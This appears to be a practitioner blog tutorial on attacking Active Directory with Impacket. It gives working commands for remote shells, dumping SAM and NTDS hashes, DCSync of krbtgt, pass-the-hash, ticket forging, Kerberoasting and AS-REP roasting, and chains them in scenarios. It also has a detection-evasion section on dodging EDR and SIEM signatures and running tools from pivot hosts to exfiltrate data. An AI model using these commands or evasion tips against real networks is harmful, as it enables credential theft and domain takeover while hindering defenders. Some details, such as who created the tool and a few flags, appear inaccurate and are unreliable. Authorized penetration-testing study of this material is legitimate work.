Impacket: Your Swiss Army Knife for Active Directory Attacks

A practitioner’s guide from the trenches

If you’ve been doing pentesting for any length of time, you know that moment when you get that first set of valid credentials and suddenly the entire network opens up. That’s when Impacket becomes your best friend. Let me walk you through how I actually use this toolkit on engagements—the real stuff, not just the man pages.

What Is Impacket, Really?

Impacket isn’t some shiny commercial tool with a nice GUI. It’s a collection of Python scripts that work because they speak SMB, LDAP, Kerberos, and a dozen other protocols natively. Created by SecureSphere (now maintained by Fortra), it’s become the de facto standard for network-level Windows attacks.

The beauty is in its simplicity: Python scripts you can run from Kali, modify on the fly, and chain together without dealing with Cobalt Strike beacons or Meterpreter sessions. Sometimes you just need to dump hashes and move on—that’s where Impacket shines.

The Holy Trinity: psexec.py, wmiexec.py, secretsdump.py

Let’s start with the tools you’ll use 90% of the time.

psexec.py – The Classic Remote Execution

psexec.py is your go-to for getting a semi-interactive shell on a remote Windows machine. It works by uploading a service binary, executing it, and giving you a command shell.

impacket-psexec domain.local/user:password@target-ip

The syntax is consistent across Impacket tools: domain/user:password@host or domain/user@host with a password prompt.

Here’s the thing about psexec.py—it’s loud. Windows logs service creation, service execution, and file creation events. But when you need a solid shell and other methods fail, it’s reliable.

Pro tip: If you’re getting “access denied” but know the credentials work, try specifying the hash instead:

impacket-psexec -hashes :LMHASH:NTHASH domain.local/user@target-ip

wmiexec.py – The Quieter Cousins

When you need to fly under the radar, wmiexec.py is your friend. It uses Windows Management Instrumentation (WMI) to execute commands without dropping files to disk or creating services.

impacket-wmiexec domain.local/user:password@target-ip

The trade-off? You get a semi-interactive shell with some limitations. Output retrieval uses SMB, so it’s not completely silent, but it’s significantly quieter than psexec. No service creation events, no binaries on disk. Perfect for quick reconnaissance or when you know defenders are watching.

For even stealthier execution, check out atexec.py (scheduled tasks) and smbexec.py (SMB-based execution). Each has its niche—atexec.py is great for persistence, smbexec.py works when WMI is blocked.

secretsdump.py – The Credential Gold Mine

This is the tool that makes clients’ eyes go wide during debriefs. secretsdump.py pulls hashes, clear-text passwords (if enabled), and LSA secrets from a remote machine or local SAM/SYSTEM hive files.

Remote dump via SMB:

impacket-secretsdump domain.local/user:password@target-ip

Local dump with offline hive files:

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

What you’ll get back:
– NTLM hashes for local accounts
– Cached domain credentials (useful for DCSync attacks later)
– LSA secrets (service account passwords, IIS application pool credentials)
– Clear-text credentials if WDigest is enabled (still common on older systems)

The output format is the classic user:rid:LMhash:NTlmhash::: format that other tools like John the Ripper and hashcat love.

Authentication: Credentials, Hashes, and Tickets

Impacket’s authentication flexibility is where it gets interesting. You’re not limited to passwords.

Pass-the-Hash (PtH)

Windows NTLM authentication doesn’t require the actual password—just the NTLM hash. Impacket supports this natively:

impacket-psexec -hashes :00000000000000000000000000000000:NTHASH domain.local/user@target-ip

The :LMHASH: portion is optional for modern Windows, but the format is -hashes LMHASH:NTHASH. Most people just use :NTHASH since LM hashes are disabled on modern systems.

Where do you get these hashes? secretsdump.py, Mimikatz, or dumping LSASS. Once you have one, you can authenticate as that user without ever knowing the password.

Pass-the-Ticket (PtT)

When you’re dealing with Kerberos environments (read: basically everywhere), Pass-the-Ticket becomes essential. Impacket’s getPac.py and other tools handle ticket manipulation, but the real star is wmiexec.py with Kerberos support:

export KRB5CCNAME=/path/to/ticket.ccache
impacket-wmiexec -k -no-pass domain.local/user@target-hostname

The -k flag tells Impacket to use Kerberos, and -no-pass skips password prompts. You’ll need the hostname (not IP) and a valid TGT or TGS in ccache format.

Side note: If you’re extracting tickets from Mimikatz, use ticketer.py to convert them:

impacket-ticketer -nthash NTHASH -domain DOMAIN -domain-sid S-1-5-21-... user@local

Overpass-the-Hash

Sometimes you have a hash but need a proper Kerberos ticket. That’s Overpass-the-Hash—converting an NTLM hash into a Kerberos TGT:

impacket-getTGT domain.local/user -hashes :NTHASH

This generates a ticket.ccache file you can use with other Impacket tools. Very handy when PSRemoting is blocked but WMI work.

Lateral Movement Patterns

Let’s talk about actually moving through a network. Here’s how I chain Impacket tools in real engagements.

The Classic Path

1. Initial access: Get your first credentials (phishing, password spray, NTLM relay)
2. Reconnaissance: Use wmiexec.py to enumerate the domain with built-in commands

impacket-wmiexec domain.local/user:pass@target-ip "net user /domain"
impacket-wmiexec domain.local/user:pass@target-ip "net group \"Domain Admins\" /domain"

1. Credential harvesting: Run secretsdump.py on each accessible machine, prioritizing servers (DCs, file servers, print servers—anywhere service accounts live)

2. Privilege escalation: Look for Domain Admin credentials or accounts with Interesting group memberships

3. Domain compromise: Use Domain Admin credentials to dump the entire NTDS.dit via secretsdump.py with DRSUAPI:

impacket-secretsdump -just-dc domain.local/admin:password@dc-ip

The -just-dc flag uses the Directory Replication Service Remote Protocol to pull credentials directly from the domain controller. No SMB required, and it’s incredibly fast.

DCSync: The Crown Jewels

Speaking of domain compromise, DCSync is built into Impacket. It impersonates a domain controller to request password hashes from the actual DC:

impacket-secretsdump -just-dc-user krbtgt domain.local/admin:password@dc-ip

Why krbtgt? Because with that hash, you can forge Golden Tickets. But you can also dump any specific user:

impacket-secretsdump -just-dc-user administrator domain.local/admin:password@dc-ip

Active Directory Enumeration Made Easy

Beyond lateral movement, Impacket has solid enumeration tools:

• GetADUsers.py: Domain user enumeration (LDAP)
• GetNPUsers.py: AS-REP Roasting targets (users with “Do not require Kerberos preauthentication”)
• GetUserSPNs.py: Kerberoasting targets (service accounts)
• lookupsid.py: Domain SID enumeration via SMB/Named Pipes

Kerberoasting example:

impacket-GetUserSPNs domain.local/user:password@dc-ip -request

This outputs crackable TGS tickets for service accounts. Crack these with hashcat (-m 13100), and you’ve got service account passwords for lateral movement.

AS-REP Roasting:

impacket-GetNPUsers domain.local/ -usersfile users.txt -format john -outputfile hashes.txt

Valid users with Kerberos preauth disabled will return hashcat-ready hashes (-m 18200).

Detection Evasion: What Actually Works

Let’s be honest—improperly used Impacket tools light up SIEMs like Christmas trees. Here’s how to stay quieter.

Tool Selection Matters

Avoid psexec.py in production. It’s the most detected because it:
– Creates a named pipe (\Device\NamedPipe\ patterns)
– Writes a service binary to %COMSPEC% or ADMIN$
– Creates and deletes services rapidly (Event ID 7045, 4697)

Use wmiexec.py instead. It’s still detected by modern EDRs, but there are fewer artifacts. No file drops, no service creation.

Better yet, use smbexec.py with the -debug flag to control your output methods, or consider atexec.py for one-off commands.

Timing and Batching

Defenders watch for rapid-fire connections. Don’t:

for i in {1..50}; do
    impacket-secretsdump user:pass@192.168.1.$i
done

Instead, add delays, randomize targets, and batch operations. Use wmiexec.py to run batched PowerShell scripts instead of individual commands:

impacket-wmiexec domain/local/user:pass@target "powershell -enc <base64-ps1>"

Where <base64-ps1> is your entire reconnaissance script encoded. Fewer SMB sessions, fewer logs.

Avoid Known Signatures

Impacket’s default behavior is well-documented:

1. Client names: Impacket sets the SMB client name to the script name (e.g., psexec.py). EDRs flag this. There’s no built-in sleep between requests, creating timing anomalies.

2. Service naming: Default service names like BTOBTO (psexec) are obvious. Some scripts let you customize this; others don’t.

3. Output methods: wmiexec.py writes output to __output file on ADMIN$ by default. Change this with -outputfile or stick to command-only execution.

Workarounds exist. Clone the repo locally and modify the client identifier and service names. Or use the -dc-ip flag to target specific DCs and reduce domain-wide noise.

Network-Level Considerations

Avoid SMBv1: It’s heavily logged and a security risk. Impacket supports SMBv2+ by default, but if you see failures, explicitly disable SMBv1.

Watch your source IP: If you’re pivoting through a compromised box, use that host as your worker node. Don’t run Impacket from your Kali box through every hop in the chain. Instead:

1. Upload Impacket to the pivot host (most have Python installed)
2. Execute locally
3. Exfiltrate only what you need

This reduces your visible footprint to internal traffic rather than perimeter-to-internal.

Use LDAP over SSL (LDAPS) when running LDAP-based tools like GetADUsers.py. Standard LDAP (port 389) is plaintext; LDAPS (636) encrypts:

impacket-GetADUsers domain.local/user:password@dc-ip -ldaps

Note: Not all Impacket tools have LDAP/SSL options, so check the help output.

Credential Handling Best Practices

Managing credentials during an engagement is critical:

1. Never trust .bash_history: Clear your shell history if you’re typing passwords. Better yet, use environment variables or credential files.

2. Hashes over passwords: Prefer Pass-the-Hash when you can. NTLM hashes are harder to attribute and don’t expose the actual password (in case it’s reused elsewhere).

3. Ticket management: When working with Kerberos tickets, set KRB5CCNAME to a file and control access. Tickets expire quickly, but a stolen TGT in the wrong hands is as good as a password.

4. sanitize outputs: secretsdump.py outputs are messy. Use grep and awk to parse only what you need:

impacket-secretsdump domain.local/user:pass@target-ip | grep -E "^[a-zA-Z0-9]+:[0-9]+:" > hashes.txt

Common Scenarios

Scenario 1: Password Spraying Follow-Up

You’ve just password-sprayed and found Winter2024! works for jsmith. Now what?

# Quick recon
impacket-wmiexec corp.local/jsmith:'Winter2024!'@workstation01 "whoami /all"

# Check for cached passwords
impacket-secretsdump corp.local/jsmith:'Winter2024!'@workstation01

# Lateral movement to file server
impacket-wmiexec corp.local/jsmith:'Winter2024!'@fileserver01 "net localgroup administrators"

Scenario 2: Got a Hash, No Password

From secretsdump.py, you’ve got:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Lateral movement:

impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 corp.local/Administrator@server01

Scenario 3: Delegated Access

You’ve compromised a service account (svc_backup) with constrained delegation to a SQL server:

# Get a TGT for the service account
impacket-getTGT corp.local/svc_backup -hashes :SVCBACKUP_NTHASH

# Use the TGT to access the SQL server
export KRB5CCNAME=svc_backup.ccache
impacket-wmiexec -k -no-pass sqlserver.corp.local

Getting Help

Impacket is well-documented, but most of the help comes from the community:

• python script.py -h: Every script has detailed options—read them.
• GitHub Issues: Search before you ask; most “bugs” are actually environment issues.
• Splunk/ELK queries: See how defenders are detecting Impacket, then adjust.

Wrapping Up

Impacket isn’t glamorous, but it’s reliable. It’s the tool that’s saved countless engagements when the shiny commercial stack failed. Learn it deeply, modify it freely, and combine it with other techniques.

The key to effective Impacket usage is understanding what it’s doing under the hood. Once you know that wmiexec.py is spawning Win32_Process instances and secretsdump.py is abusing Remote Registry and DRSUAPI, you can anticipate detection points and adjust.

Most importantly, practice. Set up a small AD lab (Windows Server evaluation ISOs + a few Windows 10 VMs), run Impacket tools against it, and watch the logs. Understanding both the attack and the artifacts it creates will make you a better pentester.

Happy hunting. And may your hashes always crack fast.

Disclaimer: This guide is for authorized penetration testing and security research only. Always ensure you have written permission before testing any systems you don’t own. The techniques described should only be used in compliance with applicable laws and regulations.